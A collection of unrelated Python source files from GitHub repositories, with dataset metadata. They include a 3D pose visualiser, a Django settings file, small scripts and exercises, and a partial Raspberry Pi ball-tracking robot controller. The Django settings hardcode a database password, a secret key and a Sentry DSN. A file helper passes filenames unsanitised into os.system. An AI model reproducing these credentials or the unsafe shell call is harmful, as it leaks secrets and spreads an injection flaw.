new_point=(new_point[0]*100,new_point[1]*100,new_point[2]*100)\n else:\n raise Exception(\"未知单位,请从 mm cm m 三个单位中选择\")\n # import pdb; pdb.set_trace()\n def not_exist_None(point):\n for i in range(3):\n if point[i]==None:\n return False\n return True\n assert not_exist_None(new_point),\"请检查 point与map格式\"\n return new_point\n\n if isinstance(points,tuple):\n points=one_point_adapter(points,map)\n elif isinstance(points,list):\n for index in range(len(points)):\n points[index]=one_point_adapter(points[index],map)\n else:\n raise Exception(\"=> 请检查 points的格式!\")\n return points\n\n def draw_cameras_pose(self,calibrations):\n \"\"\"args:\n calibrations的数据结构为: [{\"K\",\"R\",\"T\",\"dist\",\"resolution\"}] \\n\n \"\"\"\n for calibration in calibrations:\n position=calibration[\"t\"]\n rotation=calibration[\"R\"]\n position=np.squeeze(np.array(position))\n rotation=np.array(rotation)\n # 计算原理:\n # 相机坐标系[X,Y,Z] = matmul(R,世界坐标系[X,Y,Z]) + T 等式变换\n # 世界坐标系[X,Y,Z] = matmul(R.-1,相机坐标系[X,Y,Z]-T) 令相机坐标系[X,Y,Z]=[0,0,0]\n # 世界坐标系[X,Y,Z] = matmul(R.-1,-T)\n rotation_inv=np.linalg.inv(rotation)\n position= np.matmul(rotation_inv,-position) \n # 相机坐标系坐标轴\n direction_len=20*self.scale \n x_point=np.asarray([float(direction_len), float(0), float(0)],dtype = np.float64) # 相机坐标系\n y_point=np.asarray([float(0), float(direction_len), float(0)],dtype = np.float64)\n z_point=np.asarray([float(0), float(0), float(direction_len)],dtype = np.float64) \n # 世界坐标系[X,Y,Z] = matmul(R.-1,相机坐标系[X,Y,Z]-T) = matmul(R.-1,相机坐标系[X,Y,Z]) + matmul(R.-1,-T)\n x_direction=np.matmul(rotation_inv,x_point)\n y_direction=np.matmul(rotation_inv,y_point)\n z_direction=np.matmul(rotation_inv,z_point)\n\n def draw_direction(position,direction,color=\"gray\"):\n direction=direction+position\n # 调用adapter,适配matplotlib坐标系\n position=(position[0],position[1],position[2])\n direction=(direction[0],direction[1],direction[2])\n position=self.adapter(position)\n # import pdb;pdb.set_trace()\n direction=self.adapter(direction)\n # 绘制相机位置\n # self.scatter(position)\n # 绘制相机坐标系\n # self.scatter(position,color=\"yellow\")\n self.line(position,direction,color)\n \n # import pdb;pdb.set_trace()\n draw_direction(position,x_direction,color=\"red\")\n draw_direction(position,y_direction,color=\"green\")\n draw_direction(position,z_direction,color=\"blue\")\n\n\n def draw_bodies(self,poses,color=\"gray\"):\n \"\"\"输入样例:\n [\n { \"id\": 0, \"joints19\": [37.482, -138.047, 62.0985, 0.613953, 34.5987, -151.174, 44.4078, 0.545837, 32.1764, -83.2804, 56.5939, 0.369202, 53.2297, -136.168, 59.5709, 0.43335, 57.562, -111.273, 52.6583, 0.3573, 45.0171, -117.013, 34.9161, 0.354065, 42.6458, -82.3876, 55.5034, 0.33844, 45.5505, -43.8638, 59.3359, 0.404053, 48.2481, -9.87553, 63.4798, 0.519226, 21.2823, -139.089, 64.1216, 0.540466, 12.2628, -114.515, 63.7989, 0.490234, 17.8035, -116.212, 42.491, 0.339417, 21.7071, -84.1731, 57.6844, 0.341003, 18.579, -47.0052, 57.1199, 0.394897, 18.9895, -10.8257, 57.6605, 0.542419, 37.6105, -154.719, 44.3409, 0.408142, 44.6142, -157.091, 51.0789, 0.383728, 32.1702, -155.426, 45.7755, 0.461487, 29.8345, -157.753, 54.7664, 0.486023]},\n { \"id\": 1,\"joints19\": [107.41, -134.815, -68.5295, 0.622559, 96.4937, -154.887, -58.1142, 0.617554, 101.938, -80.0638, -64.7326, 0.378113, 96.5186, -135.522, -81.2809, 0.504272, 93.0374, -108.422, -86.0067, 0.350403, 88.4061, -87.5321, -75.1575, 0.279541, 95.7582, -80.3518, -73.3317, 0.357788, 102.644, -43.6313, -79.6496, 0.373901, 103.63, -9.94175, -82.7598, 0.450989, 118.347, -133.794, -56.0669, 0.498962, 120.252, -105.723, -49.6593, 0.419556, 113.181, -81.5887, -44.693, 0.424927, 108.118, -79.7759, -56.1336, 0.368286, 114.908, -43.2314, -57.9979, 0.429321, 114.253, -9.47867, -56.3847, 0.474243, 96.115, -158.823, -62.2445, 0.521912, 100.073, -156.88, -71.7589, 0.375671, 100.658, -158.184, -57.0163, 0.554565, 110.587, -155.426, -59.4075, 0.426575]},\n { \"id\": 2,\"joints19\": [-67.0101, -146.56, 2.95995, 0.691467, -50.4429, -164.704, 0.189158, 0.561707, -61.7185, -91.7512, 1.55607, 0.375183, -65.2855, -147.514, 19.9409, 0.521362, -51.4539, -126.456, 35.7198, 0.474121, -26.6777, -132.812, 31.4961, 0.430908, -59.5367, -91.7566, 11.7572, 0.33197, -62.3741, -50.9528, 11.6894, 0.40387, -62.0549, -10.8004, 12.4692, 0.493347, -69.4677, -146.098, -14.1295, 0.552063, -68.9392, -121.396, -32.5725, 0.556824, -46.3788, -131.514, -36.0474, 0.527832, -63.9002, -91.7457, -8.64507, 0.341675, -67.5315, -50.5619, -7.34732, 0.398926, -70.5452, -9.81809, -6.06827, 0.511536, -52.2811, -168.382, 3.79442, 0.47052, -61.7241, -167.041, 9.47161, 0.433777, -53.0538, -168.155, -2.74377, 0.454529, -63.3842, -166.595, -6.41483, 0.495728]}\n ]\n \"\"\"\n def draw_body(point3ds,edges,color):\n # 调用adapter,适配matplotlib坐标系\n point3ds=self.adapter(point3ds)\n pointpairs=[]\n for edge in edges:\n pointpairs.append( (point3ds[edge[0]],point3ds[edge[1]]) )\n self.lines(pointpairs,color)\n \n for pose in poses:\n pose=pose[\"joints19\"]\n pose=np.array(pose).reshape((-1,4))\n joints=[]\n for joint in pose:\n joints.append( (joint[0],joint[1],-joint[2]) )\n draw_body(joints,self.panoptic_bones_def,color)\n \n # TEST\n def test_adapter(self,):\n \"\"\"正确的输出结果: \\n\n (1, 2, 3)\n [(1, 2, 3), (-1, -2, -3)]\n \"\"\"\n points=(1,-3,2)\n print(self.adapter(points))\n points=[(1,-3,2),(-1,3,-2)]\n print(self.adapter(points))\n\nif __name__==\"__main__\":\n # CMU 官网的可视化: https://github.com/CMU-Perceptual-Computing-Lab/panoptic-toolbox/tree/master\n \"\"\"\n 以 CMU-Panoptic 数据集为例:\n Panoptic坐标轴: 向前->-x 向右->-z 向上->-y => map=\"-x-z-y\"\n Panoptic坐标轴: 单位是 cm\n \"\"\"\n # 读取 CMU Panoptic 数据集 样例\n with open(\"./body3DScene_00001000.json\", \"r\", encoding=\"utf-8\") as poses:\n poses=json.load(poses)\n poses=poses[\"bodies\"]\n hd_cameras=[]\n with open(\"./calibration_160224_haggling1.json\", \"r\", encoding=\"utf-8\") as calibrations:\n calibrations=json.load(calibrations) \n calibrations=calibrations[\"cameras\"]\n type=\"hd\"\n index=int\n for step,temp in enumerate(calibrations):\n if temp[\"type\"]==type:\n hd_cameras.append(temp)\n # import pdb;pdb.set_trace() # 检查 poses 和hd_cameras 的格式, 应为 list of dict \n\n # 可视化 样例\n from MyShow import Myshow3d\n myshow3d=Myshow3d(map=\"-x-z-y\",unit=\"cm\",scale=1)\n # import pdb;pdb.set_trace() # (Pdb) p myshow3d.unit 得到 'cm' # 说明可以使用这种方法修改成员变量\n\n # import pdb;pdb.set_trace() # 绘制相机\n myshow3d.draw_cameras_pose(hd_cameras)\n # import pdb;pdb.set_trace() # 绘制人体\n myshow3d.draw_bodies(poses=poses)\n\n myshow3d.show()","repo_name":"Vancouver-wen/3DHPE-Visulization","sub_path":"MyShow.py","file_name":"MyShow.py","file_ext":"py","file_size_in_byte":13718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72788204633","text":"\"\"\"empty message\n\nRevision ID: 5b2f8d6cf70e\nRevises: 33894a45839c\nCreate Date: 2022-05-31 01:37:43.927589\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = '5b2f8d6cf70e'\ndown_revision = '33894a45839c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\"Artist\", sa.Column('upcoming_shows_counts', existing_type=sa.INTEGER(), nullable=True, default=0))\n # ### end Alembic commands ###\n\ndef downgrade():\n op.alter_column('Artist', sa.Column('upcoming_shows_counts', existing_type=sa.INTEGER() ,nullable=True))","repo_name":"jackfros-glitch/udacity-fyyur","sub_path":"migrations/versions/5b2f8d6cf70e_.py","file_name":"5b2f8d6cf70e_.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20303448712","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"ipetrash\"\n\n\nimport time\n\n# pip install selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\ndriver = webdriver.Firefox()\ndriver.implicitly_wait(20) # seconds\ndriver.get(\"https://online-pianino.ru/\")\nprint(f\"Title: {driver.title!r}\")\n\nfor button in driver.find_elements(By.CSS_SELECTOR, \"#keyboardspot button[id]\"):\n print(button.get_attribute(\"id\"))\n button.click()\n\n time.sleep(0.3)\n","repo_name":"gil9red/SimplePyScripts","sub_path":"selenium__examples/online_pianino_ru.py","file_name":"online_pianino_ru.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"5"} +{"seq_id":"20027349799","text":"#!/usr/bin/python3\n\nimport pandas as pd\nimport platform\nfrom tkinter import Tk, StringVar, Label, Button, Entry, Text, END\nfrom tkinter import W\nfrom tkinter.filedialog import askopenfilename\nfrom main import compare\n\nfileUploadDefaultText = \"Choose file\"\ndefaultColumnName = \"Text\"\nfullFileName = \"\"\n\n# Receives a file that has been uploaded. NOTHING is done until the submit\n# button has been clicked\ndef uploadFile(event):\n file = askopenfilename()\n if file:\n global fullFileName\n fullFileName = file\n splitFile = None\n if (platform.system() == 'Windows'):\n splitFile = file.split('\\\\')\n else:\n splitFile = file.split('/')\n uploadFileButtonText.set(splitFile[len(splitFile)-1])\n\ndef tup_to_dict(tup):\n result = {}\n for num in tup:\n if num in result:\n result[num] += 1\n else:\n result[num] = 1\n return result\n\ndef set_input(text, value):\n text.delete(1.0, END)\n text.insert(END, value)\n\n# Returns true if the string s is a number\n# https://stackoverflow.com/q/354038\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\ndef readTextFile(fileName):\n weights = open(fileName, 'r')\n # Reading from the file\n content = weights.readlines()\n list_weights = []\n # Iterating through the content of the file\n for line in content:\n if is_number(line):\n list_weights.append(float(line))\n return list_weights\n\n# Receives a string, analyzes it, and displays the results\ndef submit(event):\n sumInput = float(sumEntry.get())\n errorInput = float(errorEntry.get())\n df_wp = None\n weights = None\n occurrences = None\n if \".xlsx\" in fullFileName:\n df_wp = pd.read_excel(fullFileName)\n df_wp.dropna()\n weights = [float(num) for num in df_wp[\"Weights\"].tolist()]\n occurrences = [float(num) for num in df_wp[\"Occurrences\"].tolist()]\n elif \".txt\" in fullFileName:\n raw_weights = readTextFile(fullFileName)\n len_weights = len(raw_weights) / 2\n weights = raw_weights[:int(len_weights)]\n occurrences = raw_weights[int(len_weights):]\n else:\n raise SyntaxError('require either .xlsx or .txt file')\n\n results = compare(sumInput, errorInput, weights, occurrences)\n resultsStringBuilder = ''\n\n for item in results:\n item_to_dict = tup_to_dict(item)\n resultsStringBuilder += (str(sum(list(item))) + '\\n')\n resultsStringBuilder += (str(item_to_dict) + '\\n\\n')\n if resultsStringBuilder == '':\n set_input(resultsLabel, 'No matches found.')\n else:\n set_input(resultsLabel, resultsStringBuilder)\n\n# Initialize all widgets in GUI here\nroot = Tk()\nroot.title(\"Chem Tools\")\nroot.geometry(\"600x400\")\n\n# Row 1 widgets: Sum Label, Sum Input, Sum Submit\nsumLabel = Label(root, text=\"Enter Desired Sum\")\nsumEntry = Entry(root, width=10)\n\n# Row 2 widgets: Error Label, Error Input, Error Submit\nerrorLabel = Label(root, text=\"Enter Margin of Error\")\nerrorEntry = Entry(root, width=10)\n\n# Row 3 widgets: File Label, File Upload, File Submit\nuploadFileLabel = Label(root, text=\"Upload Weights\")\nuploadFileButtonText = StringVar()\nuploadFileButtonText.set(fileUploadDefaultText)\nuploadFileButton = Button(root, textvariable=uploadFileButtonText)\nuploadFileButton.bind(\"<Button-1>\", uploadFile)\nfileSubmitButton = Button(root, text=\"Submit\")\nfileSubmitButton.bind(\"<Button-1>\", submit)\n\n# Row 4 widgets: File Analyzer Results Label\nresultsLabel = Text(root)\nset_input(resultsLabel, 'DO NOT EDIT: Results will appear here.')\n\n# All widgets are organized in a grid here\nsumLabel.grid(row=0, column=0, sticky=W)\nsumEntry.grid(row=0, column=1)\n\nerrorLabel.grid(row=1, column=0, sticky=W)\nerrorEntry.grid(row=1, column=1)\n\nuploadFileLabel.grid(row=2, column=0, sticky=W)\nuploadFileButton.grid(row=2, column=1, sticky=W)\n\nfileSubmitButton.grid(row=2, column=2)\n\nresultsLabel.grid(row=3, column=0, sticky=W)\nresultsLabel.place(y=100, width=600, height=400)\n\nif __name__ == \"__main__\":\n root.mainloop()\n","repo_name":"danielgaooooo/chem-tools","sub_path":"src/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27100115688","text":"from bs4 import BeautifulSoup as bs \r\nimport pandas as pd\r\nimport requests\r\nurl='https://forecast.weather.gov/MapClick.php?lat=40.6229&lon=-79.1501'\r\npage=requests.get(url)\r\nsoup=bs(page.content,'html.parser')\r\n# print(soup)\r\nweak=soup.find(id=\"seven-day-forecast-body\")\r\nitems=weak.find_all(class_=\"tombstone-container\")\r\n# print(weak)\r\n# print(items[0])\r\n# print(items[0].find(class_=\"period-name\").get_text())\r\n# print(items[0].find(class_=\"short-desc\").get_text())\r\n# print(items[0].find(class_=\"temp temp-high\").get_text())\r\n# list comprehensive\r\nperiod_names=[item.find(class_='period-name').get_text() for item in items]\r\nshort_desc=[item.find(class_='short-desc').get_text() for item in items]\r\ntemp=[item.find(class_='temp').get_text() for item in items]\r\nprint(period_names)\r\nprint(short_desc)\r\nprint(temp)\r\n# import pandas to create as a dataFrame\r\nweather_stuff=pd.DataFrame({\r\n 'period':period_names,\r\n 'short_description':short_desc,\r\n 'temperature':temp\r\n})\r\nprint(weather_stuff)\r\n# weather_stuff.to_csv('weather.csv')\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"vedghimi2054/WEB-SCRAPING","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70182250391","text":"#\n# DatabaseManager module v1.2\n# v1.2 : cleaned up the code a bit\n# v1.1 : added support to create file if file does not exist\n#\t\talso added support for lists\n#\n\nfrom os import path, system\n\n\ndef data_export(data, type, filename):\n\t\"\"\"Stores data into a single string to place inside a file\"\"\"\n\tif not path.exists(filename):\n\t\tsystem(\"copy nul \\\"\" + filename + \"\\\"\")\n\n\tfile = open(filename, 'w')\n\toutput_string = \"\"\n\n\t# For Dictionaries\n\tif type == 'dict':\n\t\tfor key, val in zip(data.keys(), data.values()):\n\t\t\toutput_string += key + \"||\" + str(val) + \"\\n\"\n\t\toutput_string = output_string[:-1]\n\n\t# For Lists\n\telif type == 'list':\n\t\toutput_string = \"\\n\".join(data)\n\n\tfile.write(output_string)\n\tfile.close()\n\n\ndef data_import(type, filename):\n\t\"\"\"exports data so that it can be used. converts the data that has been made into a string by data_export\"\"\"\n\tif not path.exists(filename):\n\t\tsystem(\"copy nul \\\"\" + filename + \"\\\"\") #because i need a file even if empty\n\n\tfile = open(filename)\n\tfile_data = file.read()\n\n\t# For Dictionaries\n\tif type == 'dict':\n\t\tif file_data == \"\":\n\t\t\treturn {}\n\t\telse:\n\t\t\toutput_dict = {}\n\t\t\tpairs = file_data.split(\"\\n\")\n\t\t\tfor pair in pairs:\n\t\t\t\tkey_value = pair.split(\"||\")\n\t\t\t\toutput_dict[key_value[0]] = int(key_value[1])\n\t\t\tfile.close()\n\t\t\treturn output_dict\n\n\t# For Lists\n\telif type == 'list':\n\t\toutput_list = file_data.split(\"\\n\")\n\t\treturn output_list","repo_name":"frazarshad/anipro","sub_path":"FileManager.py","file_name":"FileManager.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17068492281","text":"# Django settings for collaborate project.\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n ('Geoffrey Brodniak', 'geoff@ghostship.org'),\n)\n\nMANAGERS = ADMINS\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n 'NAME': 'collaborate', # Or path to database file if using sqlite3.\n 'USER': 'collabuser', # Not used with sqlite3.\n 'PASSWORD': 'mywhatawonderfullittleteaparty.', # Not used with sqlite3.\n 'HOST':'', # Set to empty string for localhost. Not used with sqlite3.\n 'PORT': '', # Set to empty string for default. Not used with sqlite3.\n }\n}\n\nAUTH_USER_MODEL = 'billing.BillingUser'\n\nRAVEN_CONFIG = {\n 'dsn': 'https://e6e0e3089d6145a59f1df3ba5eeed64d:4164a5d087714d36994a12c41185c962@app.getsentry.com/18651',\n}\n\n\n#AUTH_PROFILE_MODULE = 'billing.UserProfile'\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nALLOWED_HOSTS = ['collaborate.ghostship.org', '*']\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\nMEDIA_ROOT = ''\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\nMEDIA_URL = ''\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = ''\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\nSTATIC_URL = '/static/'\n\n# URL prefix for admin static files -- CSS, JavaScript and images.\n# Make sure to use a trailing slash.\n# Examples: \"http://foo.com/static/admin/\", \"/static/admin/\".\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'f-pq(&g(9ahu**kv9xo=wcpjx_qxevt$^t6#ddyws*f-fl+349'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n)\n\nROOT_URLCONF = 'urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n '/var/www/apps/collaborate/current/templates',\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'api',\n 'tasklist',\n 'ticketing',\n 'chat',\n 'billing',\n 'issue_tracker',\n 'south',\n 'raven.contrib.django.raven_compat',\n # Uncomment the next line to enable the admin:\n # 'django.contrib.admin',\n # Uncomment the next line to enable admin documentation:\n # 'django.contrib.admindocs',\n)\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n'version': 1,\n'disable_existing_loggers': False,\n'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n'handlers': {\n # Include the default Django email handler for errors\n # This is what you'd get without configuring logging at all.\n 'mail_admins': {\n 'class': 'django.utils.log.AdminEmailHandler',\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n # But the emails are plain text by default - HTML is nicer\n 'include_html': True,\n },\n # Log to a text file that can be rotated by logrotate\n 'logfile': {\n 'class': 'logging.handlers.WatchedFileHandler',\n 'filename': '/var/www/apps/collaborate/collaborate.log'\n },\n},\n'loggers': {\n # Again, default Django configuration to email unhandled exceptions\n '' : {\n 'handlers': ['logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n\n 'django.request': {\n 'handlers': ['mail_admins', 'logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n # Might as well log any errors anywhere else in Django\n 'django': {\n 'handlers': ['logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n # Your own app - this assumes all your logger names start with \"myapp.\"\n 'collaborate': {\n 'handlers': ['logfile'],\n 'level': 'INFO', # Or maybe INFO or WARNING\n 'propagate': False\n },\n}\n}\n#LOGGING = {\n# 'version': 1,\n# 'disable_existing_loggers': False,\n# 'handlers': {\n# 'mail_admins': {\n# 'level': 'ERROR',\n# 'class': 'django.utils.log.AdminEmailHandler'\n# }\n# },\n# 'loggers': {\n# 'django.request': {\n# 'handlers': ['mail_admins'],\n# 'level': 'ERROR',\n# 'propagate': True,\n# },\n# }\n#}\n\nAUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', )\n\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.TokenAuthentication',\n 'rest_framework.authentication.BasicAuthentication',\n 'rest_framework.authentication.SessionAuthentication',\n )\n}\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n 'LOCATION': '127.0.0.1:11211',\n }\n}\n\n","repo_name":"GhostshipSoftware/collaborate","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":7576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25308852669","text":"#Using for loop to sum all even numbers for the range of 0-250\nprint(\"Using for loop to sum up all even numbers between 0-250\")\nsum = 0\nfor i in range(9,250):\n if (i%2==0):\n sum+=i\nprint(\"Total Sum for Even numbers in the range 9:250 %d\"%sum)\n\n#Loop through a list item String printing each on new line\nprint(\"\\nUse for loop to loop through a list string item and print each string character using Nested Loops\")\n\n#Create a list of name\nname_list = [\"Danacana\",\"Linet\",\"Wanyonyi\",\"Mitronbin\",\"Exzhai\"]\n\n#Loop through list to acccess items\nfor item in name_list:\n for string_character in item:\n print(string_character)\n\n#Using break (exits the loop if condition is true)\nprint(\"\\nUsing break to stop looping once condition is met\")\ncount = 0\nfor item in name_list:\n\tcount+=1\n\tif(item==\"Linet\"):\n\t\tbreak\nprint(\"\\nMitronbin Found at : %d\"%count)\n\n\n#Using Continue keyword\nprint(\"\\nUsing continue keyword on For Loop \")\nfor i in range(1,100):\n if i==3:\n continue\nprint(i)\n\n\n#Using While loop to print List Items\nprint(\"\\nUsing While Loop to Print List Items\")\ni=0\nwhile i<len(name_list):\n\ti+=1\n\tprint(name_list[i-1])\n\n\n#Get both list item and index using For loop\nprint(\"\\nUsing enumerate in For loop and Getting both the list item and the index:\")\nfor i,name in enumerate(name_list):\n\tprint(\"List Item Position: %d\"%i+\" value: %s\"%name)\n\n\nfor charecter in \"petrr\":\n print(charecter)\n\n \t","repo_name":"MavsPeterKE/PythonExercise","sub_path":"loops.py","file_name":"loops.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71700324631","text":"# import the necessary packages\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport cv2\nimport numpy as np\nimport middleware as mw\nimport RPi.GPIO as GPIO\nfrom pivideostream import PiVideoStream\nfrom fps import FPS\n\n\ndef signum(a):\n return -1 if a < 0 else 1\n\n# DEBUG values\nSET_GUI = False # Do or do not show GUI\nDEBUG_MOTORSPEED = False # Do or do not write motor speed commands on console\nDEBUG_TIMING = False # Do or do not write how much time each processing step takes on console\nDEBUG_CIRCLEPOS = True # Do or do not write detected circle position on console\n\n# Initialize the motor object\nmotor = mw.MyMotor(\"/dev/ttyACM0\", 115200)\nmotor.pwm = 50\n\n# initialize the camera\nwidth = 320\nheight = 240\ncamera = PiVideoStream((width, height), 30).start()\ncounter = FPS()\ncounter.start()\n# allow the camera to warmup capture frames from the camera\ntime.sleep(0.5)\n\n# detection variables\nposX = None # X position\nposX_prev = 0 # X position in the previous iteration\nposY = None # Y position\nposX_exp_filter_coeff = 0.8 # The amount of how much the current measurement changes the position. [0,1]. current = alpha * measurement + (1-alpha) * previous\nradius = None # Circle radius\nradius_prev = 0 # Previous circle radius\nrad_exp_filter_coeff = 0.8 # The amount of how much the current measurement changes the radius. [0,1]. current = alpha * measurement + (1-alpha) * previous\nspeed = 0 # Speed to send to the motor controller\nangleCorr = 0 # The difference between the two tracks so the robot turns\nroi = None # Part of the image where we expect to find the ball\n\n# PID control variables\ndistRef = 20 # Reference distance\ndistErr = 0 # Difference between the actual distance of the ball and the ref\nangleErr = 0 # Difference between the actual angle and the ref (= 0)\ndistIntegral = 0 # Integral of the distance error for calculating the I part\nangleIntegral = 0 # Integral of the angle error for calculating the I part\ndistDeriv = 0 # Derivative of the distance error for calculating the D part\nangleDeriv = 0 # Derivative of the angle error for calculating the D part\nKp_dist = 2 # Coefficient of the P part of the speed PID\nKi_dist = 0 # Coefficient of the I part of the speed PID\nKd_dist = 0 # Coefficient of the D part of the speed PID\nKp_angle = 0.1 # Coefficient of the P part of the angle PID\nKi_angle = 8 # Coefficient of the I part of the angle PID\nKd_angle = 0 # Coefficient of the D part of the angle PID\nlast_circle_time = 0 # Time elapsed since circle was last detected\nlast_movement_time = time.time() # Time elapsed since last movement\n\n# red filter values\nred_lower_max_h = 6 # hue -> color\nred_upper_min_h = 159 # hue -> color\nred_min_s = 100 # saturation -> white - colorful\nred_min_v = 100 # value -> black - birght\n\n# set up the used GPIO pins\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(26, GPIO.OUT) # LED showing if circle is detected\nGPIO.output(26, GPIO.LOW)\nGPIO.setup(19, GPIO.OUT) # LED showing framerate (gets inverted every frame)\nGPIO.output(19, GPIO.LOW)\ngpioFrame = False\n\n# Change the global values according to the trackbars\ndef on_trackbar_min_s(val):\n global red_min_s\n red_min_s = val\n\n\ndef on_trackbar_min_v(val):\n global red_min_v\n red_min_v = val\n\n\ndef on_trackbar_lower_max_h(val):\n global red_lower_max_h\n red_lower_max_h = val\n\n\ndef on_trackbar_upper_min_h(val):\n global red_upper_min_h\n red_upper_min_h = val\n\n# Create the GUI\nif SET_GUI:\n main_window = \"Camera image\"\n cv2.namedWindow(main_window)\n cv2.createTrackbar(\"Upper red min H:\", main_window, 0, 179, on_trackbar_upper_min_h)\n cv2.setTrackbarPos(\"Upper red min H:\", main_window, red_upper_min_h)\n cv2.createTrackbar(\"Lower red max H:\", main_window, 0, 179, on_trackbar_lower_max_h)\n cv2.setTrackbarPos(\"Lower red max H:\", main_window, red_lower_max_h)\n cv2.createTrackbar(\"Red min S:\", main_window, 0, 255, on_trackbar_min_s)\n cv2.setTrackbarPos(\"Red min S:\", main_window, red_min_s)\n cv2.createTrackbar(\"Red min V:\", main_window, 0, 255, on_trackbar_min_v)\n cv2.setTrackbarPos(\"Red min V:\", main_window, red_min_v)\n\n# image process loop\nwhile True:\n # remember the time for profiling\n if DEBUG_TIMING:\n timings = {\"total_time\": time.time()}\n now_time = time.time()\n\n # read the image from the camera\n image = camera.read()\n if image is None:\n print(\"No image received\")\n continue\n\n gpioFrame = not gpioFrame\n GPIO.output(19, GPIO.HIGH if gpioFrame else GPIO.LOW)\n\n if DEBUG_TIMING:\n timings[\"camera.read\"] = time.time() - now_time\n now_time = time.time()\n\n # TODO: ROI\n # if posX is not None:\n # image = image[max(posY-2*radius, 0):min(posY+2*radius, height), max(posX-2*radius, 0):min(posX+2*radius, width)]\n\n # 